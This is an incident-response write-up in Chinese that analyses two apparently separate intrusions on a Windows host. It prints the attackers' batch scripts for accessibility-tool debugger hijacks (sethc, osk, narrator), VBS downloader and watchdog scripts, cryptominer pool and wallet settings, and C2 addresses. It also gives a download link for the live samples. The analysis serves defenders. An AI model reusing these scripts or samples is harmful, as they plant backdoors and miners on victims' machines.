前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次应急中发现的诡异事件

记一次应急中发现的诡异事件

作者头像
FB客服
发布2019-06-20 21:01:06
1.1K0
发布2019-06-20 21:01:06
举报
文章被收录于专栏:FreeBufFreeBuf

0x1 事件概述

在一次应急响应中,无意发现来自不同地区和人员的攻击,两种留后门的方法,截然不同的操作,不同的技术手法。

0x2病毒的温床Fonts

fonts目录常被用于藏匿后门的最佳场所

由于不能直接使用资源管理器进行查看,所以我就选择在dos下打印目录结构进行查看。可以看到这个目录下,有各种各样的“非常规文件”

1.ini-6.ini文件的内容他们是:

代码语言:javascript
复制
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe [7]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe [19]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe [7]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe [19]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe [7]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe [19]

然后我们继续看该目录下的其他文件

哦买噶的,这个老哥一定是个bat狂魔吧,为什么如此任性。

Aa.bat

代码语言:javascript
复制
>>cloud.inf echo.[Version]>>cloud.inf echo.Signature = "$Chicago$">>cloud.inf echo.>>cloud.inf echo.[Registry Keys]>>cloud.inf echo."MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe", 0, "O:BA"secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.logdel cloud.*del %0

Aaa.bat

代码语言:javascript
复制
>>cloud.inf echo.[Version] >>cloud.inf echo.Signature = "$Chicago$">>cloud.inf echo.>>cloud.inf echo.[Registry Keys]>>cloud.inf echo."MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe", 0, "O:BA"secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.logdel cloud.*del %0

aodd.bat

代码语言:javascript
复制
takeown /f %SystemRoot%\system32\osk.exe /aecho y|cacls %SystemRoot%\system32\osk.exe /g Administrators:fecho y|cacls %SystemRoot%\system32\osk.exe /e /g Users:recho y|cacls %SystemRoot%\system32\osk.exe /e /g Administrators:recho y|cacls %SystemRoot%\system32\osk.exe /e /d SERVICEecho Y|cacls %SystemRoot%\system32\osk.exe /e /d "network service"echo y|cacls %SystemRoot%\system32\osk.exe /e /g system:r%systemroot%\system32\attrib +s +h +r %systemroot%\Fonts\lsass.execall %systemroot%\Fonts\Aa.bat%systemroot%\system32\regini 3.ini%systemroot%\regedit /s %systemroot%\Fonts\lsass.regdel %systemroot%\Fonts\lsass.regcall %systemroot%\Fonts\Ss.bat%systemroot%\system32\regini 4.inidel 3.inidel 4.ini@del %sfxcmd%@del "%0" >nul

aodi.bat

代码语言:javascript
复制
takeown /f %SystemRoot%\system32\sethc.exe /aecho y|cacls %SystemRoot%\system32\sethc.exe /g Administrators:fecho y|cacls %SystemRoot%\system32\sethc.exe /e /g Users:recho y|cacls %SystemRoot%\system32\sethc.exe /e /g Administrators:recho y|cacls %SystemRoot%\system32\sethc.exe /e /d SERVICEecho Y|cacls %SystemRoot%\system32\sethc.exe /e /d "network service"echo y|cacls %SystemRoot%\system32\sethc.exe /e /g system:r@echo cd c\:%systemroot%\system32\attrib +s +h +r %systemroot%\Fonts\smss.execall %systemroot%\Fonts\AS.bat%systemroot%\system32\regini 1.ini%systemroot%\regedit /s %systemroot%\Fonts\smss.regdel %systemroot%\Fonts\smss.regcall %systemroot%\Fonts\SY.bat%systemroot%\system32\regini 2.inidel 1.inidel 2.ini@del %sfxcmd%@del "%0" >nul

AS.bat

代码语言:javascript
复制
>>cloud.inf echo.[Version]>>cloud.inf echo.Signature = "$Chicago$">>cloud.inf echo.>>cloud.inf echo.[Registry Keys]>>cloud.inf echo."MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe", 0, "O:BA"secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.logdel cloud.*del %0

sql.bat

代码语言:javascript
复制
takeown /f %SystemRoot%\system32\narrator.exe /aecho y|cacls %SystemRoot%\system32\narrator.exe /g Administrators:fecho y|cacls %SystemRoot%\system32\narrator.exe /e /g Users:recho y|cacls %SystemRoot%\system32\narrator.exe /e /g Administrators:recho y|cacls %SystemRoot%\system32\narrator.exe /e /d SERVICEecho Y|cacls %SystemRoot%\system32\narrator.exe /e /d "network service"echo y|cacls %SystemRoot%\system32\narrator.exe /e /g system:r%systemroot%\system32\attrib +s +h +r %systemroot%\Fonts\sqlser.execall %systemroot%\Fonts\Aaa.bat%systemroot%\system32\regini 5.ini%systemroot%\regedit /s %systemroot%\Fonts\sqlser.regdel %systemroot%\Fonts\sqlser.regcall %systemroot%\Fonts\Sss.bat%systemroot%\system32\regini 6.inidel 5.inidel 6.ini@del %sfxcmd%@del "%0" >nul

这些批处理都在对注册表进行操作

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

想必大家对这个注册表项应该不陌生,没错就是镜像劫持。

镜像劫持简单的说就是,当你打开程序A,运行的确实程序B。

那么上述的几个文件都劫持了那些程序:

第一个sethc.exe///这个是粘滞键的程序 第二个osk.exe///这个是屏幕键盘程序 第三个narrator.exe///这个是讲述人的程序

那就是说,他们留下的后门,其实有一点没太明白,镜像劫持通常debugger来实现的,应该长这样

代码语言:javascript
复制
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe]"debugger"="c:\\windows\\system32\\calc.exe"

所以说

代码语言:javascript
复制
MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe", 0, "O:BA"secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.logdel cloud.*

这个劫持的意思是通过编辑组策略导入cloud.inf到组策略中,然后删除相关记录和日志,转储文件,具体导入了什么组策略我也不太清楚啊

然后我们接找看三个注册表文件

lsass.reg

代码语言:javascript
复制
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe]"debugger"="C:\\Windows\\Fonts\\lsass.exe"

smss.reg

代码语言:javascript
复制
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe]"debugger"="C:\\Windows\\Fonts\\smss.exe"

sqlser.reg

代码语言:javascript
复制
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe]"debugger"="C:\\Windows\\Fonts\\sqlser.exe"

这三个文件是镜像劫持的正主没错,分别将osk.exe,sethc.exe,narrator.exe劫持到了fonts目录下的lsass.exe,smss.exe,sqlser.exe:

代码语言:javascript
复制
2018c59e591d04f149ffb075abc69e42  lsass.exedf81d89ae883be710a3b98df8a1aecf0  smss.exedf81d89ae883be710a3b98df8a1aecf0  sqlser.exe
代码语言:javascript
复制

三个文件均包含自解压脚本命令,不过令我奇怪的是这三个压缩文件都有密码,启动脚本都是启动任务管理器,匪夷所思。

然后该分析conhost.exe这个文件了,左侧为系统文件,右侧为该恶意文件:

不得不承认,这个文件还是想当具有迷惑性的,接下来是这个文件的行为分析阶段。

杀死任务管理器,杀死rundll32.exe,杀死autoruns.exe,杀死perfmon.exe,杀死procexp.exe,杀死processhacker.exe,修改Fonts目录的属性。

通过杀死安全研究软件,阻止对自身的分析。杀死rundll32.exe应该是杀死别的恶意软件。

停止服务ServiceSais; 然后删除该服务; 杀死进程KvMonXP.exe,(这玩意好像是江民杀毒的程序); 释放文件KvmonXP.exe; 执行KvmonXP.exe。

安装ServiceSais服务,执行KvmonXP.exe,传入参数(矿池,钱包地址)

矿池:max.dllhost.host:443

钱包:

42SgGCdjazjddK45L9AQGyXwZPh7VRRPW47iWG18uvFdQ7sXMAHgnDd1e8pHdu68AHbSaYo2a7x6QCSRjGeM14oZ1RSLVRi

设置服务的显示名 设置服务描述 启动服务

svchost.exe这个文件似乎在整个事件中起这不小的作用,接下来我们就看看这个文件的庐山真面目。

首先这个文件是启动项。

这个文件运行的时候会将自己释放到别的目录下,修改文件属性为系统文件,实现隐藏,重命名后,创建服务实现自启动。

连接mdzz2018.msns.cn的12596端口。

截至现在,Fonts目录下的文件勉强算是结束了。

0x3 玩坏了的VBS

前面的样本中大量使用bat,可以说bat使用手法还算是娴熟,那么下边的样本让我对作者刮目相看。在ProgrameData目录下。

2.vbs

代码语言:javascript
复制
on error resume next with wscript:if .arguments.count<2 then .quit:end if set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") web.open "get",.arguments(0),0:web.send:if web.status>200 then quit aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with

lang.vbs

代码语言:javascript
复制
on error resume next with wscript:if .arguments.count<2 then .quit:end if set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") web.open "get",.arguments(0),0:web.send:if web.status>200 then quit aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with

tao.vbs

代码语言:javascript
复制
option Explicit    dim wmi,proc,procs,proname,flag,WshShell    Do      proname="lass.exe"  set wmi=getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")    set procs=wmi.execquery("select * from win32_process")      flag=true    for each proc in procs        if strcomp(proc.name,proname)=0 then          flag=false          exit for        end if    next      set wmi=nothing      if flag then        Set WshShell = Wscript.CreateObject("Wscript.Shell")        WshShell.Run ("c:\ProgramData\lass.exe")    end if      wscript.sleep 1000 '检测间隔时间,这里是50秒    loop

vget.vbs

代码语言:javascript
复制
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

可以看到,tao.vbs在不停的循环判断,然后执行lass.exe。

接下来分析一下lass.exe的行为。

释放文件config.json:

代码语言:javascript
复制
"url": "pool.minexmr.com:7777","user": "47CMTqxiPTeZB5dn8DgkPR8ufUA5sbWm1awAAGzAqEcvUzLE7VZZ5eQ1v5ndDyHzYibs6bwa24V2uFaFKLWQW8Wa9nHfU37",

然后随手查了一下这个矿工:

释放可执行文件并执行:

创建开机启动项:

紧接着我们分析它释放的chromes.exe这个文件。

我用沙箱跑了一下,没有发现任何行为,还有壳,不过这个应该是挖矿的主进程,lass是加载器,tao.vbs是守护进程,lass释放配置文件和挖矿主程序进行挖矿:

https://s.threatbook.cn/report/file/f0ad29c7c845689710677de927e4e3ee49054bd19c09710ecef641de34bcd6a6/?env=win7_sp1_enx64_office2013

那么这个目录下的a1.exe,a2.exe,taskger.exe又是做什么的呢?

a1.exe

a1.exe是一个提权的exp,MS16-032

那么a2.exe呢?

taskger.exe

设置自启动,连接到103.248.220.221:8721

0x4无处安放

除了上述的恶意文件之外,还有一些,我觉得似乎和他们不是一伙的。 从矿池地址可以看出来。

在Fonts目录下比较喜欢使用bat,另外就是有签名,虽然签名不怎么样

在ProgrameData目录下的比较擅长使用vbs,但是文件没有签名,虽然没有签名,却加壳了

剩下的都是零零散散的文件,也不太确定属于哪个系列。

没错,你没有看错这个就是360会员中心,这个文件看上去似乎是用来读密码的,但是我在我的win7试了,好像不行,难道是权限不足?大家可以研究一下。

win64.exe是一个挖矿程序,下图是win64的静态分析,因为确实必要的文件,所以没法动态分析。

0x5样本资源

以上所讲到的所有的样本我都上传到了一个云盘,方便大家下载研究。

链接:https://pan.baidu.com/s/1TCmYGguB0aE9J3IIxTBAnQ

提取码:oaqr

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-06-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x1 事件概述
  • 0x2病毒的温床Fonts
  • 0x3 玩坏了的VBS
  • 0x4无处安放
  • 0x5样本资源
相关产品与服务
区块链
云链聚未来,协同无边界。腾讯云区块链作为中国领先的区块链服务平台和技术提供商,致力于构建技术、数据、价值、产业互联互通的区块链基础设施,引领区块链底层技术及行业应用创新,助力传统产业转型升级,推动实体经济与数字经济深度融合。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档